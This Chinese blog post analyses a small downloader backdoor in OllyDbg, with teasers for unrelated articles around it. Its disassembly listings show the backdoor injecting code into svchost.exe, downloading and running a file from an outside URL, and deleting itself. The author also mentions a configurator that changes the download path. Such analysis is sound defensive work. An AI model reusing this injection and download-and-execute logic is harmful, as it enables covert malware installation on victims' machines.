注射型下载后门分析手记

三天跑通中文NLP实战:从清洗到情感分析的端到端手记 自然语言处理(NLP)是让机器理解人类语言的基础技术,其核心在于将非结构化文本转化为可计算的数值表示。原理上依赖文本预处理、向量化与模型学习三步闭环,技术价值体现在降低语义理解门槛、加速业务场景落地。当前主流方案已从传统TF-IDF转向基于预训练语言模型(如BERT、Sentence-BERT)的语义向量化,显著提升情感分析、相似匹配等任务效果。典型应用场景包括中文影评情感分类、社交媒体评论挖掘、电商反馈分析等。本文聚焦零基础实践者,以Jupyter为开发环境,结合Hugging Face预训练模型与spa 阅读详情

不说这个后门是怎么来的,不过downit.exe这个后门我觉得真的很不错,所以就详细的分析了一下,同时也简述一下分析木马的一些思维,写出来大家交流一下!
后门简述:下载后门(downit.exe),大小3k,注射代码到svchost,然后在svchost执行代码,代码功能是从网络下载一个文件到本地,下载之后,运行下载的程序,并删除后门主程序。
分析工具:Ollydbg V1.10
注:如果是新手,对Ollydbg不熟悉的话,可以到看雪论坛的外文翻译区下载由TT小组翻译的Ollydbg 中文使用手册。
分析ring3下的木马可以说Ollydbg是最好的选择,静态动态一起来,如果是静态分析也可以考虑用IDA,不过一般的木马都加了壳,如果是一般的壳可以用PEID的通用脱壳插件就可以脱了,如果用PEID的通用脱壳插件脱不了的就只能手动脱了,如果不知怎么脱的,去看雪学院多看些脱壳的文章,就有底了!
下面就让我们来看看这个后门是怎么运作的,(注意:如果你不清楚一个程序具有什么破坏性,那你分析它之前最好备份一下系统,或是在虚拟机下分析,不然出了问题就不好了啊),在分析木马后病毒之前我一般都会在一些木马比较常用的API下断点,下面是一些木马比较常用的API:
FindWindowA ;这个是用来找那些杀毒软件的窗口
EnumWindows ;同上
Process32Next ;一般用来查找某个进程,比如杀毒软件的进程
GetSystemDirectoryA ;取得系统的路径!
RegCreateKeyA ;写入启动项的比较多
CreateFileA ;一般用复制副本的
CopyFileA ;一般用来复制副本
SetWindowsHookA ;安装钩子,用来记录键盘记录什么的
WinExec ;一般用来执行,副本的,木马喜欢把自己放到系统目录下,所以木马运行后就会用CopyFileA拷贝到系统目录,然后执行它!
ShellExecuteA ;和上面的差不多!
CreateProcessA ;可以用来运行副本的,不过用的比较多的是来运行bat文件,这个bat文件的内容一般就删除木马程序本身。
WriteFile ;写文件,写木马的人喜欢把一些文件以资源的形式放到主程序里,然后再释放出来。

在这些函数点断点(BP 函数名),然后就可以载入木马程序分析了,分析一个木马程序时我一般会用Ollydbg 静态查看一下程序里的字符串,看看有没有一些比较有用的东西,然后动态粗略的看看木马程序的基本流程,掌握基本流程之后才开始着手详细分析这个木马程序,了解它调用了什么有用的函数?会不会自启动?自启动方式是添加到注册表启动还是以服务方式?实现了什么的功能?开了什么端口?是不是有种马者的信息(比如邮箱啊,网址啊)等等,但是本文为了使读者更容易看,所以写的思路就是从头一直写到未的。而不是前面先写写,然后又倒回来写写,其实整个流程是经过多次分析的结果。
现在我们看这个后门,用Ollydbg 载入downit.exe,用Ollydbg 字符串分析功能看了一下字符串,没发现什么有用的,不管它,停在入口处:
0055153F >/$ E8 D0FEFFFF CALL downit.00551414 ;进入去看看!
00551544 |. 33C9 XOR ECX, ECX
00551546 |. 41 INC ECX
进入00551414, 我们向下看可以看到有多处这样的代码:
00551479 |> 68 98205500 PUSH downit.00552098 ; /Arg2 = 00552098
0055147E |. 68 FB205500 PUSH downit.005520FB ; |Arg1 = 005520FB
00551483 |. E8 B9FCFFFF CALL downit.00551141 ; downit.00551141
我们可以看到这段代码是将两个参数压栈,然后调用地址为00551141的函数!,当我们步过00551483后,我们会发现变上面变成了这样了:
00551479 |> 68 98205500 PUSH downit.00552098 ; /Arg2 = 00552098
0055147E |. 68 FB205500 PUSH downit.005520FB ; |Arg1 = 005520FB ASCII "notepad.exe"
00551483 |. E8 B9FCFFFF CALL downit.00551141 ; downit.00551141
不难推测,这是一个将字符串解密的函数,当然事实也是如此,我进去看了下,事实的真相就摆在面前了,这段分析不难,就留给读者做任务好了,我这里粗略说一下,以上面的参数为例,它解密的方式是先取得00552098处加密过的字符串的长度,然后循环和61H,0F2H,024H,022这四个字节异或,最后将解密的字符存到005520FB处,我为此写了个很烂很简单的配置程序,只可修改下载路径,带有代码,如果你想修改其它的字符串,可以自己修改程序代码。我们步过这些解密字符串的函数,我们来到了:
005514F1 MOV EBP, downit.0055236D
005514F6 PUSH downit.005523B3 ; ASCII "advapi32.dll"
005514FB CALL NEAR DWORD PTR [552048] ; kernel32.LoadLibraryA
00551501 XCHG EAX, EBX
00551502 CALL downit.005510C6
00551507 MOV EBP, downit.00552379
0055150C PUSH downit.005523C0 ; ASCII "imagehlp.dll"
00551511 CALL NEAR DWORD PTR [552048] ; kernel32.LoadLibraryA
00551517 XCHG EAX, EBX
00551518 CALL downit.005510C6
0055151D PUSH 104
00551522 LEA EAX, DWORD PTR [55243B]
00551528 PUSH EAX
00551529 CALL NEAR DWORD PTR [552064] ; kernel32.GetSystemDirectoryA
0055152F LEA EAX, DWORD PTR [55243B]
00551535 PUSH EAX
00551536 CALL NEAR DWORD PTR [552030] ; kernel32.SetCurrentDirectoryA
0055153C POP EBX
0055153D POP EAX
0055153E RETN

这里有一个比较明显的CALL:
00551518 CALL downit.005510C6
我们进去看看,发现这call的功能是取函数的地址,我们跟进去可以看看这个程序打算要获得的一些函数,在这里我还发现了一个有趣的问题,我们来看看:
005510C6 MOV EDX, DWORD PTR [EBX+3C] ; ;<---------- PE header
005510C9 |. MOV ESI, DWORD PTR [EDX+EBX+78]
005510CD |. LEA ESI, DWORD PTR [ESI+EBX+18] ; ;<---------- Export Table offset
005510D1 |. LODS DWORD PTR [ESI] ; ;<-----------save to eax
005510D2 |. XCHG EAX, ECX ; ;<-------- exchange to ecx
005510D3 |. LODS DWORD PTR [ESI]
005510D4 |. PUSH EAX
005510D5 |. LODS DWORD PTR [ESI]
005510D6 |. ADD EAX, EBX
005510D8 |. XCHG EAX, EDX
005510D9 |. LODS DWORD PTR [ESI]
005510DA |. ADD EAX, EBX
005510DC |. PUSH EAX
005510DD |. MOV ESI, EDX
005510DF |> LODS DWORD PTR [ESI]
005510E0 | . ADD EAX, EBX ;EBX=IMAGE BASE,EAX-->AddressOfNames
005510E2 |. XOR EDX, EDX
005510E4 |> /ROL EDX, 3 ;利用函数名取得一个字串(也是四个字节),然后放到EDX里去,
005510E7 |. XOR DL, BYTE PTR [EAX] ;EAX最初指向函数名的地址
005510E9 |. INC EAX
005510EA |. CMP BYTE PTR [EAX], 0 ;是不是函数名结束
005510ED |.^ |JNZ SHORT downit.005510E4
005510EF |. MOV EAX, DWORD PTR [ESP] ;kernel32.77E614C7
005510F2 |. ADD DWORD PTR [ESP], 2
005510F6 |. MOV EDI, EBP
005510F8 |> /CMP DWORD PTR [EDI], EDX ;比较是不是要查找函数的字符串来,就是上面005510E4处循环或的字符串
005510FA |. |JNZ SHORT downit.0055110F ;有趣的问题就是这里,这里你会发现它很笨,即使它找到了函数的地址,它还是要把DLL里面的函数循环完的,跳到0055110F 继续在DLL中查找函数, 而不是跳出循环,所以影响速度…
005510FC |. MOVZX EAX, WORD PTR [EAX]
005510FF |. SHL EAX, 2
00551102 |. ADD EAX, DWORD PTR [ESP+4]
00551106 |. ADD EAX, EBX
00551108 |. MOV EAX, DWORD PTR [EAX]
0055110A |. ADD EAX, EBX
0055110C |. STOS DWORD PTR ES:[EDI] ;把取得的函数地址放到EDI
0055110D |. JMP SHORT downit.00551110
0055110F |> SCAS DWORD PTR ES:[EDI]
00551110 |> CMP DWORD PTR [EDI], 0 ;看看解密函数名是不是结束了,没有结束就继续!
00551113 |.^ JNZ SHORT downit.005510F8
00551115 |. DEC ECX
00551116 |.^ JNZ SHORT downit.005510DF
00551118 |. ADD ESP, 8
0055111B . RETN

执行完00551414内的代码之后,我们返回到00551544:
0055153F CALL downit.00551414
00551544 XOR ECX, ECX ;返回到这里
00551546 INC ECX
00551547 PUSH downit.005523F0
0055154C PUSH DWORD PTR [5523CD]
00551552 PUSH DWORD PTR [552020]
00551558 PUSH downit.00552389
0055155D CALL downit.005513CF ;写一个jmp kernel32.VirtualAllocEx
00551562 PUSH downit.005523FF
00551567 PUSH DWORD PTR [5523D1]
0055156D PUSH DWORD PTR [552024]
00551573 PUSH downit.00552389
00551578 CALL downit.005513CF
0055157D PUSH downit.0055240E
00551582 PUSH DWORD PTR [5523D5]
00551588 PUSH DWORD PTR [552034]
0055158E PUSH downit.00552389
00551593 CALL downit.005513CF ;0055240E - E9 8C989077 JMP kernel32.CreateRemoteThread
00551598 PUSH downit.0055241D
0055159D PUSH DWORD PTR [5523D9]
005515A3 PUSH DWORD PTR [552008]
005515A9 PUSH downit.00552389
005515AE CALL downit.005513CF
005515B3 PUSH downit.0055242C
005515B8 PUSH DWORD PTR [5523DD]
005515BE PUSH DWORD PTR [552375]
005515C4 PUSH downit.005523B3
005515C9 CALL downit.005513CF
在上面的代码中我们看到多处这样的代码:
00551547 PUSH downit.005523F0
0055154C PUSH DWORD PTR [5523CD]
00551552 PUSH DWORD PTR [552020]
00551558 PUSH downit.00552389
0055155D CALL downit.005513CF ;写一个jmp kernel32.VirtualAllocEx
我们进入005513CF看了之后,就会发现该CALL的功能是写这样的一条像jmp kernel32.VirtualAllocEx指令到005523F0(第一参数)
然后到下面得代码中调用函数时就用
CALL 005523F0
;其实就等价于
CALL kernel32.VirtualAllocEx
从程序跟下来,接下来就是后门核心的部分。我们来看看:
005515CE CALL downit.005512CB ;获取特权,以便有足够的权限,否则用OpenProcess无法打开svchost等系统进程。
这段代码我就不分析了,杂志配套光碟带有一段提升权限的ASM代码,你可以看看,反汇编代码如下:
-----------
005512CB /$ 55 PUSH EBP ; downit.00552379
005512CC |. 8BEC MOV EBP, ESP
005512CE |. 83C4 E4 ADD ESP, -1C
005512D1 |. FF15 28205500 CALL NEAR DWORD PTR [552028] ; kernel32.GetCurrentProcess
005512D7 |. 8BD8 MOV EBX, EAX
005512D9 |. 8D45 FC LEA EAX, DWORD PTR [EBP-4]
005512DC |. 50 PUSH EAX
005512DD |. 6A 20 PUSH 20
005512DF |. 53 PUSH EBX
005512E0 |. FF15 6D235500 CALL NEAR DWORD PTR [55236D] ; advapi32.OpenProcessToken
005512E6 |. 8B45 FC MOV EAX, DWORD PTR [EBP-4]
005512E9 |. 8945 F8 MOV DWORD PTR [EBP-8], EAX
005512EC |. 8D45 E8 LEA EAX, DWORD PTR [EBP-18]
005512EF |. 50 PUSH EAX
005512F0 |. 8D05 A2235500 LEA EAX, DWORD PTR [5523A2]
005512F6 |. 50 PUSH EAX
005512F7 |. 6A 00 PUSH 0
005512F9 |. FF15 71235500 CALL NEAR DWORD PTR [552371] ; advapi32.LookupPrivilegeValueA
005512FF |. C745 E4 01000000 MOV DWORD PTR [EBP-1C], 1
00551306 |. C745 F0 02000000 MOV DWORD PTR [EBP-10], 2
0055130D |. C745 F4 00000000 MOV DWORD PTR [EBP-C], 0
00551314 |. 8D45 FC LEA EAX, DWORD PTR [EBP-4]
00551317 |. 50 PUSH EAX
00551318 |. 6A 00 PUSH 0
0055131A |. 6A 10 PUSH 10
0055131C |. 8D45 E4 LEA EAX, DWORD PTR [EBP-1C]
0055131F |. 50 PUSH EAX
00551320 |. 6A 00 PUSH 0
00551322 |. FF75 F8 PUSH DWORD PTR [EBP-8] ; advapi32.LookupPrivilegeValueA
00551325 |. E8 02110000 CALL downit.0055242C
0055132A |. C745 E4 01000000 MOV DWORD PTR [EBP-1C], 1
00551331 |. C745 F0 02000000 MOV DWORD PTR [EBP-10], 2
00551338 |. C745 F4 00000000 MOV DWORD PTR [EBP-C], 0
0055133F |. 8D45 F4 LEA EAX, DWORD PTR [EBP-C]
00551342 |. 50 PUSH EAX
00551343 |. 6A 00 PUSH 0
00551345 |. 6A 10 PUSH 10
00551347 |. 8D45 E4 LEA EAX, DWORD PTR [EBP-1C]
0055134A |. 50 PUSH EAX
0055134B |. 6A 00 PUSH 0
0055134D |. FF75 F8 PUSH DWORD PTR [EBP-8] ; advapi32.LookupPrivilegeValueA
00551350 |. E8 D7100000 CALL downit.0055242C
00551355 |. FF75 FC PUSH DWORD PTR [EBP-4] ; advapi32.AdjustTokenPrivileges
00551358 |. FF15 1C205500 CALL NEAR DWORD PTR [55201C] ; kernel32.CloseHandle
0055135E |. C9 LEAVE
0055135F . C3 RETN

-----------------------------
取得足够的权限后就查找系统中的svchost进行注射:
005515D3 PUSH downit.00552396 ; /Arg1 = 00552396 ASCII "svchost.exe"
005515D8 CALL downit.00551360 ;进去,列举进程看看是不是要注射的进程,带一个参数是要查找的进程名
005515DD MOV DWORD PTR [55253F], EAX
005515E2 TEST EAX, EAX
005515E4 JE downit.005516C0
005515EA PUSH DWORD PTR [55253F]
005515F0 PUSH 0
005515F2 PUSH 1F0FFF
005515F7 CALL downit.0055241D ;JMP kernel32.OpenProcess,打开进程
005515FC MOV DWORD PTR [552543], EAX
00551601 PUSH 40
00551603 PUSH 1000
00551608 PUSH 100
0055160D PUSH 0
0055160F PUSH DWORD PTR [552543]
00551615 CALL downit.005523F0 ;JMP kernel32.VirtualAllocEx ,申请内存空间
0055161A MOV DWORD PTR [552557], EAX
0055161F PUSH downit.00552547
00551624 PUSH DWORD PTR [552000]
0055162A PUSH downit.00552048
0055162F PUSH DWORD PTR [552557]
00551635 PUSH DWORD PTR [552543]
0055163B CALL downit.005523FF ;JMP kernel32.WriteProcessMemory,写代码
00551640 PUSH 40
00551642 PUSH 1000
00551647 PUSH 1000
0055164C PUSH 0
0055164E PUSH DWORD PTR [552543]
00551654 CALL downit.005523F0 ;JMP kernel32.VirtualAllocEx,再申请空间,
00551659 MOV DWORD PTR [552553], EAX
0055165E INC EAX
0055165F DEC EAX
00551660 PUSH downit.0055254B
00551665 PUSH 4
00551667 PUSH DWORD PTR [552557]
0055166D PUSH DWORD PTR [552553]
00551673 PUSH 0
00551675 PUSH 0
00551677 PUSH DWORD PTR [552543]
0055167D CALL downit.0055240E ;JMP kernel32.CreateRemoteThread ;在远程进程创建进程!这段代码现在滥用了,现在的木马都喜欢用这个!
00551682 MOV DWORD PTR [55254F], EAX
00551687 PUSH downit.00552547
0055168C PUSH DWORD PTR [552004]
00551692 PUSH downit.00551000
00551697 PUSH DWORD PTR [552553]
0055169D PUSH DWORD PTR [552543]
005516A3 CALL downit.005523FF ;JMP kernel32.WriteProcessMemory,这里写入的才是关键的代码,这里我们进去看看写的地址就是注入代码再远程进程中的地址
005516A8 PUSH DWORD PTR [55254F] ; /hThread = NULL
005516AE CALL NEAR DWORD PTR [552038] ; ResumeThread 执行远程线程,
005516B4 PUSH DWORD PTR [552543] ; /hObject = NULL
00*5516BA CALL NEAR DWORD PTR [55201C] ; CloseHandle
005516C0 PUSH 0 ; /ExitCode = 0
005516C2 CALL NEAR DWORD PTR [55203C] ; ExitProcess,注射完毕,收工!

到这里我们已经基本了解到了整个后门的执行流程了,这个后门很小,没有多少代码,所以不用看那么多次就已经清晰的了解到基本的流程了,这个后门首先解密一些要用到的字符串,然后获取要用到函数的地址,之后就是获取特权,接着查找svchost进程,查到svchost后就申请内存空间,用WriteProcessMemory把代码写到svchost中,最后再用CreateRemoteThread创建远程线程,创建线程时使用了CREATE_SUSPENDED参数(具体参数可以查看MSDN),这样创建的进程不会马上执行,以免执行时被系统中断,接着就再次用WriteProcessMemory把完全的代码写入到svchost中,最后用ResumeThread执行刚才在svchost创建的线程,转到svchost去执行,后门主程序执行完毕。
现在我们已经可以清楚的了解到这个后门的主程序是怎么工作了,但是还有一点我们还不能具体的知道,就是它注入到目标进程里的代码是什么,实现的是什么的功能呢!而且它注入的进程是svchost.exe,我们总不能去调试svchost吧,那怎么办呢?虽然注射入svchost的代码也是从后门程序本身提取然后写到svchost里的,但是这里代码,静态去读的话根本没有什么可读性,因为这些代码不可能像一般代码那样很清晰的可以看到调用函数什么的,调用函数地址全部是动态生成的,这是因为代码要处理重定位问题,那么我们就没别的方法了吗?还记不记得开始的时候,解密字符串的那段代码,有段是负责解密svchost.exe这个字符串的,然后在进程里找看看有没有和这个字符串相同的进程,找到了再注射到这个进程里,这样我们就有办法了,把开始时取得的字符串svchost.exe改成我们要想要它注射的进程的名字,这里我把它改为notepad.exe,名字的长度一样大,改大了就要换个空间够大的地方了,呵呵,调试notepad.exe可就是个简单的事来的了,下面就来看看我们是怎么样来调试注射入到进程里的代码,我们现在再一次用Ollydbg 载入downit.exe,跟踪到下面地址:
005514B5 |. 68 71235500 PUSH downit.00552371 ; /Arg2 = 00552371
005514BA |. 68 96235500 PUSH downit.00552396 ; |Arg1 = 00552396 ASCII "svchost.exe"
005514BF |. E8 7DFCFFFF CALL downit.00551141 ; downit.00551141
当我们不过005514BA这个CALL之后。00552396处的字符串就解密出来的,这里我们可以看到地址00552396是指向svchost.exe这个字符串的,我们转到00552396去把它改为notepad.exe,然后再打开一个Ollydbg,用Ollydbg 打开window自带的notepad.exe,
如果这时你在用着记事本的话,请把它关掉,保证只有一个记事本进程在运行,就是我们用Ollydbg 调试的那个记事本,我们就可以保证后门程序注入的就是我们在调试的notepad.exe,用Ollydbg 打开notepad.exe后,F9让notepad.exe运行,现在暂时不用去管它了,我们转到载入downit.exe的Ollydbg 里继续看,我们现在CreateRemoteThread下断点,前面我们已经分析过了,这个后门会用CreateRemoteThread在远程进程里注入一个线程,下载断点后我们F9让downit.exe继续运行,我们可以看到在载入downit.exe的那个Ollydbg 中在CreateRemoteThread断下了啊,CreateRemoteThread断下后,Ollydbg右下角堆栈的内容:
0012FFA4 00551682 RETURN to downit.<ModuleEntryPoint>+143 from downit.0055240E
0012FFA8 0000000C
0012FFAC 00000000
0012FFB0 00000000
0012FFB4 00AE0000 ; 这个就是远程线程地址(也就是注射在notepad.exe中代码的地址)
0012FFB8 00AD0000
0012FFBC 00000004
现在转到第二个Ollydbg 里,CTRL+G输入00AE0000,跳到00AE0000,哈哈,我们是不是看到代码了啊,在00AE0000下断点,回到第一个Ollydbg 按F9让后downit.exe继续运行起来,这时我们可以看到,载入notepad.exe 的那个Ollydbg 在00AE0000处断下了,现在我们就开始看看它到底注射了什么东西了啊,由于代码需要处理重定位问题,所以下面的代码如果静态看的话,就不那么好看了,我们来一步步跟踪。程序开始:
00AE0000 8B6D 0C MOV EBP, DWORD PTR [EBP+C] ; kernel32.lstrcatA
00AE0003 E8 14010000 CALL 00AE011C ;取些函数地址,代码和我们上面00551518的CALL一样
00AE0008 8BFD MOV EDI, EBP
00AE000A 037D 34 ADD EDI, DWORD PTR [EBP+34]
00AE000D E8 A7000000 CALL 00AE00B9 ;这里进去加载urlmon.dll并取得URLDownloadToFileA的地址
00AE0012 8B5D 4C MOV EBX, DWORD PTR [EBP+4C]
00AE0015 85DB TEST EBX, EBX
00AE0017 74 0F JE SHORT 00AE0028
00AE0019 8BFD MOV EDI, EBP
00AE001B 037D 40 ADD EDI, DWORD PTR [EBP+40]
00AE001E 81C7 80000000 ADD EDI, 80 ; 我们可以看到下面是删除后门程序原文件
00AE0024 57 PUSH EDI ; E:手记分析下载后门分析手记downit.exe
00AE0025 FF55 24 CALL NEAR DWORD PTR [EBP+24] ; kernel32.DeleteFileA
00AE0028 8B5D 48 MOV EBX, DWORD PTR [EBP+48]
00AE002B 85DB TEST EBX, EBX
00AE002D 74 0B JE SHORT 00AE003A
00AE002F 68 60EA0000 PUSH 0EA60
00AE0034 FF55 04 CALL NEAR DWORD PTR [EBP+4] ; kernel32.Sleep 延时
00AE0037 4B DEC EBX
00AE0038 ^ EB F1 JMP SHORT 00AE002B
00AE003A 8B45 44 MOV EAX, DWORD PTR [EBP+44]
00AE003D 8BDD MOV EBX, EBP
00AE003F 035D 40 ADD EBX, DWORD PTR [EBP+40]
00AE0042 0BC0 OR EAX, EAX
00AE0044 75 09 JNZ SHORT 00AE004F
00AE0046 B8 633A0000 MOV EAX, 3A63
00AE004B 8903 MOV DWORD PTR [EBX], EAX
00AE004D EB 14 JMP SHORT 00AE0063
00AE004F 83F8 01 CMP EAX, 1
00AE0052 75 06 JNZ SHORT 00AE005A
00AE0054 53 PUSH EBX
00AE0055 FF55 1C CALL NEAR DWORD PTR [EBP+1C] ; kernel32.GetSystemDirectoryA
00AE0058 EB 09 JMP SHORT 00AE0063
00AE005A 83F8 02 CMP EAX, 2
00AE005D 75 04 JNZ SHORT 00AE0063
00AE005F 53 PUSH EBX
00AE0060 FF55 20 CALL NEAR DWORD PTR [EBP+20] ; kernel32.GetWindowsDirectoryA
00AE0063 6A 5C PUSH 5C ; 5C是斜杠’’
00AE0065 54 PUSH ESP
00AE0066 53 PUSH EBX
00AE0067 FF55 0C CALL NEAR DWORD PTR [EBP+C] ; kernel32.lstrcatA
00AE006A 58 POP EAX ; 00AE00B3
00AE006B 8BFD MOV EDI, EBP
00AE006D 037D 38 ADD EDI, DWORD PTR [EBP+38]
00AE0070 57 PUSH EDI
00AE0071 53 PUSH EBX
00AE0072 FF55 0C CALL NEAR DWORD PTR [EBP+C] ; kernel32.lstrcatA
00AE0075 8BD8 MOV EBX, EAX
00AE0077 6A 00 PUSH 0
00AE0079 6A 00 PUSH 0
00AE007B 53 PUSH EBX ;"c:notepad.exe"(这个是固定的后门保存的路径和文件)
00AE007C 8BFD MOV EDI, EBP
00AE007E 037D 3C ADD EDI, DWORD PTR [EBP+3C]
00AE0081 57 PUSH EDI ;www.ptteam.com/downtest.exe,这个是要下载文件的网络路径
00AE0082 6A 00 PUSH 0
00AE0084 FF55 10 CALL NEAR DWORD PTR [EBP+10] ;调用URLDownloadToFileA下载文件www.ptteam.com/downtest.exe,并把文件保存到C:notepad.exe,
00AE0087 8B45 54 MOV EAX, DWORD PTR [EBP+54]
00AE008A 85C0 TEST EAX, EAX
00AE008C 74 25 JE SHORT 00AE00B3
00AE008E 6A 00 PUSH 0
00AE0090 8BFD MOV EDI, EBP
00AE0092 037D 2C ADD EDI, DWORD PTR [EBP+2C]
00AE0095 57 PUSH EDI
00AE0096 8BFD MOV EDI, EBP
00AE0098 037D 30 ADD EDI, DWORD PTR [EBP+30]
00AE009B 57 PUSH EDI
00AE009C 6A 00 PUSH 0
00AE009E 6A 00 PUSH 0
00AE00A0 68 20020000 PUSH 220
00AE00A5 6A 00 PUSH 0
00AE00A7 6A 00 PUSH 0
00AE00A9 6A 00 PUSH 0
00AE00AB 53 PUSH EBX ; "c:notepad.exe"
00AE00AC 6A 00 PUSH 0
00AE00AE 6A 00 PUSH 0 ;调用未公开函数CreateProcessInternalA执行下载的文件,等价于ShellExecuteA.
00AE00B0 FF5514 CALL NEAR DWORD PTR [EBP+14] ;kernel32.CreateProcessInternalA
00AE00B3 51 PUSH ECX
00AE00B4 FF55 08 CALL NEAR DWORD PTR [EBP+8] ; kernel32.ExitThread线程执行完毕
00AE00B7 ^ EB FA JMP SHORT 00AE00B3
00AE00B9 57 PUSH EDI
00AE00BA 57 PUSH EDI
00AE00BB FF55 00 CALL NEAR DWORD PTR [EBP] ; kernel32.LoadLibraryA
00AE00BE 93 XCHG EAX, EBX
00AE00BF E8 02000000 CALL 00AE00C6
00AE00C4 5F POP EDI ; 00AE00B3
00AE00C5 C3 RETN

到这里整个后门从执行到注射的代码执行流程我们已经很清楚了,其中的原理也明白了差不多了,这里我这总结一下这个后门的思路:
后门运行之后,通过解密函数解密svchost.exe处的字符串,然后提升权限之后就在进程里查找相关的进程名查找到了之后就用OpenProcess打开进程svchost.exe,并调VirtualAllocEx申请内存空间,接着用WriteProcessMemory把代码写入到远程进程里,调用带CREATE_SUSPENDED参数的CreateRemoteThread创建远程线程,创建的远程线程创建时就被挂起,接着再次用WriteProcessMemory把代码写入到svchost.exe里,用ResumeThread恢复被挂起的远程线程,后门主程序退出,流程转到svchost.exe里的远程线程执行,该部分代码,用LoadLibraryA加载urlmon.dll并取得URLDownloadToFileA的地址,接着删除原来的后门主程序,再将系统盘号(C:)。斜杠()和notepad.exe连接成一个字符串‘C:notepad.exe’作为本地路径的参数传给URLDownloadToFileA,同时还传给了网络路径,接着调用URLDownloadToFileA下载指定网络路径的文件到C:notepad.exe,调用CreateProcessInternalA执行下载的程序,最后ExitThread回家。
到此,整个分析工作就完成了,回来想想,要写这样的一个后门并不难,现在网上类似的代码可以找到一些,其实这个后门可以写得更简洁点的,比如字符串加密,函数的加密这个功能可以不用加上去,不过写这个后门的作者这样做也是用他的道理的,这样可以避开一些杀毒软件,可以一定程度的防止后门里信息的泄漏,我这里就没有给出这个后门的代码

LLM工程实践手记:从模型加载到RAG上线的生产级避坑指南 大语言模型(LLM)落地本质是系统工程问题,而非单纯算法调优。其核心原理在于模型、数据与服务三者的协同稳定性:模型需兼顾显存效率与推理可控性(如low_cpu_mem_usage加载优化),数据需保障语义完整性与向量对齐(如RecursiveTextSplitter与normalize_embeddings),服务则依赖可监控、可灰度、可回滚的LLMOps闭环。技术价值体现在将F1指标波动从0.43→0.87、P95延迟从8秒压至142ms、SLA提升至99.97%等可量化结果。典型应用场景覆盖智能客服摘要 阅读详情

相关推荐

全域AI智能体:15分钟部署的工业能源管理新范式

工业能源管理系统长期面临协议碎片化、数据时效性差、业务语义缺失等核心瓶颈,传统AI叠加方案因架构耦合深、时序不准、知识难复用而效果受限。全域AI智能体通过边缘-云协同架构,以轻量级Rust运行时、函数式协议插件、PTP纳秒级时间同步和三层语义锚点(设备-工艺-介质)实现物理世界与数字模型的深度对齐,显著提升负荷预测精度、异常检测响应速度与跨系统决策一致性。其技术价值在于将AI从‘事后分析工具’升级为嵌入电流路径的‘数字副驾驶’,已在空压站优化、多能耦合调度、设备健康预测等典型场景验证降耗8.7%~12.3%

weixin_34320724的博客 385

Metasploit Framework下的Exploit应用开发中文手册

为了方便大家手记,以下内容有PDF转化而来,如果不方便阅读或遇错,请下载PDF版本阅读! 作者:gz1x [gz1x@tom.com]                   [目录]   目录………………………………………………………………………………………………………………………………..2 0.前言…………………………………………………………………………………………………………………

u012558785的专栏 2620

密码学思维重构NLP:混淆、扩散与可逆映射实战

自然语言处理(NLP)在医疗、金融等强合规场景下面临数据脱敏破坏语义、小样本特征鲁棒性差、模型决策不可追溯三大挑战。本文基于古典密码学核心原理——混淆(confusion)打破token表面统计依赖,扩散(diffusion)解耦句法结构以抑制局部过拟合,可逆映射(invertible mapping)固化可审计的中间表征链路——提出轻量、可解释、边缘友好的NLP改造范式。该方法不依赖大模型或外部知识库,通过语义锚定、结构解耦、动态门控和证据固化四步,在4核8G边缘设备上实现<300ms低延迟推理,已落地医

weixin_30703911的博客 409

医疗内容战略:构建患者信任的最小可行单元

医疗内容不是信息传播,而是临床决策支持系统的核心组件。其本质在于通过权威信源、场景化时效与法律合规三重约束,建立可验证的信任机制。技术上需依托内容仓库实现跨平台一致分发,组织上依赖买家画像驱动的精细化协同,实践中则以‘最小可行信任单元’(MVTC)为落地支点——融合执业认证、能力证据、过程透明与人格温度四大要素。该模式已应用于三甲医院官网、APP、微信及HIS联动场景,显著提升患者搜索即得率与临床转化效率,成为数字时代医疗机构不可或缺的核心临床能力。

ama7449的博客 352

数字孪生实战:如何用Unity3D为工厂设备快速搭建可视化孪生体(附GitHub源码)

本文详细介绍了如何利用Unity3D游戏引擎为工厂设备快速构建可视化数字孪生体。通过实战案例,阐述了从3D模型导入、MQTT实时数据接入,到振动、温度等关键参数可视化呈现的完整流程。文章旨在为智能制造和工业物联网开发者提供一套灵活、低成本的技术方案,并附有完整的GitHub源码,助力实现设备状态的直观监控与预测性维护。

weixin_29184075的博客 478

SAP采购信息记录批量维护实战:用BAPI ME_INFORECORD_MAINTAIN搞定价格等级和条件记录

本文深入解析SAP标准BAPI ME_INFORECORD_MAINTAIN在采购信息记录批量维护中的应用,特别聚焦价格等级和条件记录的技术难点。通过实战案例和代码示例,帮助用户高效处理供应商-物料价格数据,提升供应链管理效率。

weixin_42522320的博客 413

工作中使用到的单词(软件开发)

1.エイリアス   alias 别名 powershell使用 get-help 命令时,会得到与此命令 相关(别名)的命令 2.プロキシ proxy 代 理 3.プロモート   promote 促进,提升   开发的系统新功能上线发布,有时会使用到这个词,比如 STプロモート 还有使用リリース这个词的。比如STリリース。个人认为两者含义相同。 4.見逃し み................................................................

sun0322 6万+

深度解析direct path write temp与ASM IO性能问题:Oracle 19.17视图查询优化指南

本文深度解析了Oracle 19.17版本中复杂视图查询出现`direct path write temp`与`ASM IO for non-blocking poll`性能瓶颈的根本原因。通过对比11.2.0.4版本的执行计划差异,文章提供了从CBO参数调整、存储层优化到SQL架构重构的完整实战调优指南,帮助DBA有效解决升级后的查询性能问题。

2y3u4i5o6p的博客 1100

五十三.网络(3)--区块同步getblocks消息

在节点互发了version消息后,就会发送getblocks消息,请求对方的区块以进行同步。

d3582077的专栏 200

使用ShaderGraph制作URP各向异性

URP上用shaderGraph实现各向异性效果,解决只能用shader的问题

dreamform的专栏 1099

LoRa正点原子模块组网步骤

按照我上一篇的博客和视频演示,相信大家一定都可实现了lora模块点对点的通信了。那我们来进行一个比较有高难度的设计吧! 使用多个loRa模块去完成一个组网设计: 在这之前一定要配置模块信息为定点传输 AT+TMODDE要等于1奥 第一步分析通讯协议: 点对点通讯是在透明传输的条件下,地址和信道都是一样的,直接发送接受数据。 组网呢我们利用是: 定向传输就是 A、B的地址、信道不同 假如A是要想B发送信息就用函数来下面: int b[5]...

weixin_43205178的博客 4084

DPU安全组与ACL性能测试:从规则爆炸到线速卸载的实战指南

本文深入剖析DPU安全组与网络ACL的底层卸载架构,通过两个完整实战测试矩阵,量化评估规则复杂度、有状态连接跟踪(Conntrack)及OVS Offload协同对RoCEv2性能的影响。结合真实故障排查案例与工具输出矩阵,揭示大规模云环境中安全组性能跌落的根因,并给出基于规则聚合与硬件表项优化的最优配置指南。

